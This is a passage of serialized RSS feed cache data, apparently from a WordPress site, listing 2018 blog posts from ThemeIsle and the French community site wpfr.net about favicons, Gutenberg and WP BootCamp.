+0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:19:\&quot;WordPress Tutorials\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;https://themeisle.com/blog/?p=19710\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:548:\&quot;&lt;p&gt;Looking for an easy way to add a WordPress favicon to your site? A favicon is the tiny image you’ll see at the left-hand side of any browser tab. By default, your site will only include a generic picture, so it’s up to you to add something custom. Doing this will help your site appear...&lt;/p&gt;\n&lt;p&gt;The post &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://themeisle.com/blog/wordpress-favicon/\&quot;&gt;WordPress Favicon Guide: How to Create One and Add It to Your Site&lt;/a&gt; appeared first on &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://themeisle.com/blog\&quot;&gt;ThemeIsle Blog&lt;/a&gt;.&lt;/p&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:11:\&quot;John Hughes\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:50:\&quot;https://themeisle.com/blog/wordpress-favicon/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:7;a:6:{s:4:\&quot;data\&quot;;s:39:\&quot;\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n		\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:4:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:63:\&quot;How to Create a Landing Page With the Block Editor in WordPress\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:81:\&quot;https://themeisle.com/blog/create-a-landing-page-with-the-block-editor-wordpress/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:89:\&quot;https://themeisle.com/blog/create-a-landing-page-with-the-block-editor-wordpress/#respond\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 13 Dec 2018 09:45:37 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:2:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;Page Builders\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:1;a:5:{s:4:\&quot;data\&quot;;s:19:\&quot;WordPress Tutorials\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;https://themeisle.com/blog/?p=20527\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:617:\&quot;&lt;p&gt;Wondering if it&amp;#8217;s possible to create a landing page with the block editor that was released as part of WordPress 5.0? It is indeed, and this post will show you how. Thanks to the new &amp;#8220;block&amp;#8221; approach, you now have the ability to set up hero sections, call to actions (CTAs), and other important elements of...&lt;/p&gt;\n&lt;p&gt;The post &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://themeisle.com/blog/create-a-landing-page-with-the-block-editor-wordpress/\&quot;&gt;How to Create a Landing Page With the Block Editor in WordPress&lt;/a&gt; appeared first on &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://themeisle.com/blog\&quot;&gt;ThemeIsle Blog&lt;/a&gt;.&lt;/p&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:19:\&quot;ThemeIsle Editorial\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:86:\&quot;https://themeisle.com/blog/create-a-landing-page-with-the-block-editor-wordpress/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:8;a:6:{s:4:\&quot;data\&quot;;s:36:\&quot;\n		\n		\n		\n		\n		\n				\n\n		\n		\n		\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:4:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:85:\&quot;How to Disable the Block Editor (aka Gutenberg) and Use the Previous WordPress Editor\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:53:\&quot;https://themeisle.com/blog/previous-wordpress-editor/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:61:\&quot;https://themeisle.com/blog/previous-wordpress-editor/#respond\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 12 Dec 2018 09:36:54 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:19:\&quot;WordPress Tutorials\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;https://themeisle.com/blog/?p=20512\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:607:\&quot;&lt;p&gt;The latest WordPress update is finally here – and it’s a big one. WordPress 5.0 brings a number of changes, but none is more significant than the new block editor, which you might also know as Gutenberg (its name while under development). If you don&amp;#8217;t like the new editing experience in WordPress 5.0, you might...&lt;/p&gt;\n&lt;p&gt;The post &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://themeisle.com/blog/previous-wordpress-editor/\&quot;&gt;How to Disable the Block Editor (aka Gutenberg) and Use the Previous WordPress Editor&lt;/a&gt; appeared first on &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://themeisle.com/blog\&quot;&gt;ThemeIsle Blog&lt;/a&gt;.&lt;/p&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:11:\&quot;John Hughes\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:58:\&quot;https://themeisle.com/blog/previous-wordpress-editor/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:9;a:6:{s:4:\&quot;data\&quot;;s:39:\&quot;\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n		\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:4:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:57:\&quot;What Is WordPress? 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Sur une idée originale de Déborah Donnier, entrepreneurs, chefs d&amp;#8217;entreprises, freelances, agences web, développeurs, intégrateurs&amp;#8230; de toute la France se succèdent pour nous parler de notre CMS favori WordPress. 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Qu&amp;#8217;est ce que le WP BootCamp ? Le WP BootCamp est un événement réunissant des passionnés de WordPress et du web en général sur un week-end de 3 jours. L&amp;#8217;édition 2018, portée par Rémi Corson, Aurélien Denis et Benjamin Denis, se déroula&lt;div class=\&quot;btn btn-default read-more text-uppercase\&quot;&gt;Lire la suite &lt;span class=\&quot;meta-nav\&quot;&gt;&lt;i class=\&quot;fa fa-caret-right\&quot;&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=73jXJKLX5xI:kXAjLDU4P-c:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=73jXJKLX5xI:kXAjLDU4P-c:V_sGLiPBpWU\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?i=73jXJKLX5xI:kXAjLDU4P-c:V_sGLiPBpWU\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=73jXJKLX5xI:kXAjLDU4P-c:qj6IDK7rITs\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?d=qj6IDK7rITs\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=73jXJKLX5xI:kXAjLDU4P-c:gIN9vFwOqvQ\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?i=73jXJKLX5xI:kXAjLDU4P-c:gIN9vFwOqvQ\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressFrancophone/~4/73jXJKLX5xI\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;Benjamin Denis\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:42:\&quot;http://rssnamespace.org/feedburner/ext/1.0\&quot;;a:1:{s:8:\&quot;origLink\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:66:\&quot;https://wpfr.net/wp-bootcamp-2018-retours-sur-la-deuxieme-edition/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:2;a:6:{s:4:\&quot;data\&quot;;s:45:\&quot;\n		\n		\n		\n		\n		\n				\n		\n		\n		\n\n		\n		\n		\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:5:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:71:\&quot;Tout savoir sur l’arrivée de Gutenberg en quelques points essentiels\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:67:\&quot;http://feedproxy.google.com/~r/WordpressFrancophone/~3/i6NQjnc9uiQ/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:46:\&quot;https://wpfr.net/wordpress-gutenberg/#comments\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 23 Apr 2018 09:00:07 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:4:{i:0;a:5:{s:4:\&quot;data\&quot;;s:4:\&quot;Blog\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:1;a:5:{s:4:\&quot;data\&quot;;s:9:\&quot;WordPress\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:2;a:5:{s:4:\&quot;data\&quot;;s:15:\&quot;éditeur visuel\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:3;a:5:{s:4:\&quot;data\&quot;;s:9:\&quot;Gutenberg\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:27:\&quot;https://wpfr.net/?p=2117903\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1474:\&quot;Gutenberg arrive à grand pas, alors voici un résumé de tout ce qu&amp;#8217;il faut savoir sur le nouvel éditeur visuel de WordPress au travers de questions / réponses ! Difficile de marcher tranquillement dans le quartier WordPress sans entendre parler de ce fameux Gutenberg ! C&amp;#8217;est un nouvel éditeur ? C&amp;#8217;est un nouveau page builder&lt;div class=\&quot;btn btn-default read-more text-uppercase\&quot;&gt;Lire la suite &lt;span class=\&quot;meta-nav\&quot;&gt;&lt;i class=\&quot;fa fa-caret-right\&quot;&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=i6NQjnc9uiQ:TQYicJ8IHdE:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=i6NQjnc9uiQ:TQYicJ8IHdE:V_sGLiPBpWU\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?i=i6NQjnc9uiQ:TQYicJ8IHdE:V_sGLiPBpWU\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=i6NQjnc9uiQ:TQYicJ8IHdE:qj6IDK7rITs\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?d=qj6IDK7rITs\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=i6NQjnc9uiQ:TQYicJ8IHdE:gIN9vFwOqvQ\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?i=i6NQjnc9uiQ:TQYicJ8IHdE:gIN9vFwOqvQ\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressFrancophone/~4/i6NQjnc9uiQ\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;maximebj\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:42:\&quot;https://wpfr.net/wordpress-gutenberg/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2:\&quot;13\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:42:\&quot;http://rssnamespace.org/feedburner/ext/1.0\&quot;;a:1:{s:8:\&quot;origLink\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:37:\&quot;https://wpfr.net/wordpress-gutenberg/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:3;a:6:{s:4:\&quot;data\&quot;;s:39:\&quot;\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n		\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:5:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:40:\&quot;Résultats des élections du bureau 2018\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:67:\&quot;http://feedproxy.google.com/~r/WordpressFrancophone/~3/qvTDw6NqY5Q/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:58:\&quot;https://wpfr.net/resultats-elections-bureau-2018/#comments\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 05 Mar 2018 08:00:52 